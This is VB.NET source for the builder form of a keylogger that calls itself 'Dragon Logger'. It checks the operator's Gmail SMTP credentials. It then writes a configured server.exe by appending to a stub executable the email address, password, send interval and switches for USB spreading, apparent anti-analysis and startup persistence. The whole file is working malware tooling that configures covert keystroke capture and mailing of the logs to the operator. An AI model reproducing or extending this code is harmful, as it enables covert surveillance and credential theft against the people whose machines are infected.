Imports System.Net.Mail
Imports System.IO

Public Class Form1

    Dim stub, emailUsername, emailPass, emailInterval As String
    Dim usbSpread, antis, startup As Boolean
    Const AwesomeDragon = "adiogudsgadgwet"

    Private Sub btnClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClose.Click
        Me.Close()
    End Sub

    Private Sub btnMinimize_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnMinimize.Click
        Me.WindowState = FormWindowState.Minimized
    End Sub

    Private Sub btnTestEmail_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnTestEmail.Click

        'User did not input a username
        If txtUserName.Text = "" Then
            MsgBox("Enter an e-mail address!", , "Error!")
            Exit Sub
        End If
        'User did not input a password
        If txtPassword.Text = "" Then
            MsgBox("Enter a password!", , "Error!")
            Exit Sub
        End If

        'try to send mail
        Try
            Dim MailInfo As New MailMessage
            MailInfo.Subject = ("Dragon Logger Test")
            MailInfo.To.Add(txtUserName.Text)
            MailInfo.From = New MailAddress(txtUserName.Text)
            MailInfo.Body = ("Testing Email was successful. You can now build the keylogger!")
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New Net.NetworkCredential(txtUserName.Text, txtPassword.Text)
            SMTP.Send(MailInfo)
            MsgBox("Message has been sent. Check your Email", , "Success")
        Catch GError As Exception 'error sending
            MsgBox("Email failed. Check your connection and that user name and password are correct", , "Error")
        End Try
    End Sub

    Private Sub btnBuild_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnBuild.Click

        If txtUserName.Text = "" Then
            MsgBox("Enter an e-mail address.", , "Error")
            Exit Sub
        End If

        If txtPassword.Text = "" Then
            MsgBox("Enter a password.", , "Error")
            Exit Sub
        End If

        emailUsername = txtUserName.Text
        emailPass = txtPassword.Text
        emailInterval = Convert.ToString(nudInterval.Value * 60000)

        If chkAntis.Checked = True Then
            antis = True
        Else
            antis = False
        End If

        If chkStartup.Checked = True Then
            startup = True
        Else
            startup = False
        End If

        If chkUsbSpread.Checked = True Then
            usbSpread = True
        Else
            usbSpread = False
        End If

        FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)

        If File.Exists("server.exe") Then
            My.Computer.FileSystem.DeleteFile("server.exe")
        End If

        FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & AwesomeDragon & emailUsername & AwesomeDragon & emailPass & AwesomeDragon & emailInterval & AwesomeDragon & usbSpread & AwesomeDragon & antis & AwesomeDragon & startup)
        FileClose(1)

        MsgBox("The server has been built!", , "Success")

    End Sub
End Class